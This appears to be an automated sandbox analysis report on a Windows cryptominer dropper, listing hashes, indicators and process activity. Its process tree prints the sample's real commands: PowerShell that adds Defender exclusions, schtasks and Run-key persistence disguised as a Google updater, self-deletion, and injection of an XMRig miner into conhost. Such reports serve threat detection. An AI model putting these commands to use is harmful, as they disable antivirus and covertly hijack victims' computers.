Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
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max time kernel
484s -
max time network
1798s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1664 created 1100 1664 Q5EUCWHU7pMYBfT3.exe 20 PID 1664 created 1100 1664 Q5EUCWHU7pMYBfT3.exe 20 PID 1664 created 1100 1664 Q5EUCWHU7pMYBfT3.exe 20 PID 1664 created 1100 1664 Q5EUCWHU7pMYBfT3.exe 20 PID 2856 created 1100 2856 updater.exe 20 PID 2856 created 1100 2856 updater.exe 20 PID 2856 created 1100 2856 updater.exe 20 PID 2856 created 1100 2856 updater.exe 20 PID 2432 created 1100 2432 conhost.exe 20 PID 2856 created 1100 2856 updater.exe 20 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral21/memory/2040-67-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2596 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2856 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 1380 taskeng.exe -
resource yara_rule behavioral21/memory/2040-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2856 set thread context of 2432 2856 updater.exe 52 PID 2856 set thread context of 2040 2856 updater.exe 53 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe Q5EUCWHU7pMYBfT3.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1492 schtasks.exe 2812 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1948 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 6015eaa93251da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 1664 Q5EUCWHU7pMYBfT3.exe 1664 Q5EUCWHU7pMYBfT3.exe 2080 powershell.exe 1664 Q5EUCWHU7pMYBfT3.exe 1664 Q5EUCWHU7pMYBfT3.exe 2884 powershell.exe 1664 Q5EUCWHU7pMYBfT3.exe 1664 Q5EUCWHU7pMYBfT3.exe 1664 Q5EUCWHU7pMYBfT3.exe 1664 Q5EUCWHU7pMYBfT3.exe 2572 powershell.exe 2856 updater.exe 2856 updater.exe 1556 powershell.exe 2856 updater.exe 2856 updater.exe 500 powershell.exe 2856 updater.exe 2856 updater.exe 2856 updater.exe 2856 updater.exe 2432 conhost.exe 2432 conhost.exe 2856 updater.exe 2856 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2080 powershell.exe Token: SeDebugPrivilege 2884 powershell.exe Token: SeDebugPrivilege 2572 powershell.exe Token: SeDebugPrivilege 1556 powershell.exe Token: SeDebugPrivilege 500 powershell.exe Token: SeDebugPrivilege 2856 updater.exe Token: SeAssignPrimaryTokenPrivilege 1948 WMIC.exe Token: SeIncreaseQuotaPrivilege 1948 WMIC.exe Token: SeSecurityPrivilege 1948 WMIC.exe Token: SeTakeOwnershipPrivilege 1948 WMIC.exe Token: SeLoadDriverPrivilege 1948 WMIC.exe Token: SeSystemtimePrivilege 1948 WMIC.exe Token: SeBackupPrivilege 1948 WMIC.exe Token: SeRestorePrivilege 1948 WMIC.exe Token: SeShutdownPrivilege 1948 WMIC.exe Token: SeSystemEnvironmentPrivilege 1948 WMIC.exe Token: SeUndockPrivilege 1948 WMIC.exe Token: SeManageVolumePrivilege 1948 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1948 WMIC.exe Token: SeIncreaseQuotaPrivilege 1948 WMIC.exe Token: SeSecurityPrivilege 1948 WMIC.exe Token: SeTakeOwnershipPrivilege 1948 WMIC.exe Token: SeLoadDriverPrivilege 1948 WMIC.exe Token: SeSystemtimePrivilege 1948 WMIC.exe Token: SeBackupPrivilege 1948 WMIC.exe Token: SeRestorePrivilege 1948 WMIC.exe Token: SeShutdownPrivilege 1948 WMIC.exe Token: SeSystemEnvironmentPrivilege 1948 WMIC.exe Token: SeUndockPrivilege 1948 WMIC.exe Token: SeManageVolumePrivilege 1948 WMIC.exe Token: SeLockMemoryPrivilege 2040 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2884 wrote to memory of 2812 2884 powershell.exe 32 PID 2884 wrote to memory of 2812 2884 powershell.exe 32 PID 2884 wrote to memory of 2812 2884 powershell.exe 32 PID 2596 wrote to memory of 3016 2596 cmd.exe 33 PID 2596 wrote to memory of 3016 2596 cmd.exe 33 PID 2596 wrote to memory of 3016 2596 cmd.exe 33 PID 2572 wrote to memory of 1056 2572 powershell.exe 38 PID 2572 wrote to memory of 1056 2572 powershell.exe 38 PID 2572 wrote to memory of 1056 2572 powershell.exe 38 PID 1380 wrote to memory of 2856 1380 taskeng.exe 40 PID 1380 wrote to memory of 2856 1380 taskeng.exe 40 PID 1380 wrote to memory of 2856 1380 taskeng.exe 40 PID 500 wrote to memory of 1492 500 powershell.exe 45 PID 500 wrote to memory of 1492 500 powershell.exe 45 PID 500 wrote to memory of 1492 500 powershell.exe 45 PID 2856 wrote to memory of 2432 2856 updater.exe 52 PID 1372 wrote to memory of 1948 1372 cmd.exe 47 PID 1372 wrote to memory of 1948 1372 cmd.exe 47 PID 1372 wrote to memory of 1948 1372 cmd.exe 47 PID 2856 wrote to memory of 2040 2856 updater.exe 53 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1100
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1664
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2080
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2812
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2596
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1056
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1556
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:500 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1492
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1212
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1372
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2432
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2040
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:3016
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C:\Windows\system32\taskeng.exetaskeng.exe {AE789D4B-12AE-4491-85EE-6123BA76F97C} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1380 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2856
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1948
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
242KB
MD590677329403efd986ac9198d38362bd1
SHA103f585e71e459d0eb0c0be5714ada66ca8c6de00
SHA256685bb464f6adb3b8a8c997f77f24a9b7b95a48a502ec38f50467d4da7ffc76a4
SHA512ce2da2271ca36618614cd14b0502b5663543fde328987c9ace76cba35d5ca59331bd80aee95c2b3f007c93e4c42263e2799a8b92bd133e59ac5525db7d3c957a
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Filesize
481KB
MD53796041a0c524e55379fc3a084490c3a
SHA1a552c6713e0c5edd38b3d721d85ec1430e88647e
SHA2564b8ffe3173eb21099ad99d1b37691ffc6e23da78adde12e365e32d4ee535ea84
SHA512f19c443d0b7025aab557950fca94d55107ff2df3b982667bcd03c7582c6e5d61685069d8bed6b694a0d66211ca6184616eae062f117db227e9b772ac1d922949
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5bc00f3248fc9c89f6d3ef54839334fcc
SHA1182a753112508321069bcfc7e7a0e00552f8a6fa
SHA256f4cdd8a049c7ef27e8372a6cd6687ef2a75591eae05c2a18d01b724428db43cc
SHA5129646a3f29656ce56ebe6465089b6970fbc5f9a0b6cbdbe0f1cbdd95db15ad144883448f39b1ebf4da764355036cbfd0d383e4f4bd8253ecc1107c61b759e683d
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Filesize
535KB
MD515825c4a884bfc8dfbe34d6ac32e07b7
SHA1c5ff4d18404c7c6621d110d6107f3c571a8c1bfd
SHA2561d072a42fc72e895f84925d8e69d5cd70e18b08be22c9753d3952e108ab788f1
SHA512dc8c583bf006860c801c90a8863371961eb2fe2f06b78ae168a3a93ce65bb44f062201cdcf6f4ce81b99de5bd63f05083767282eea6aa2356ebee2d15eb44410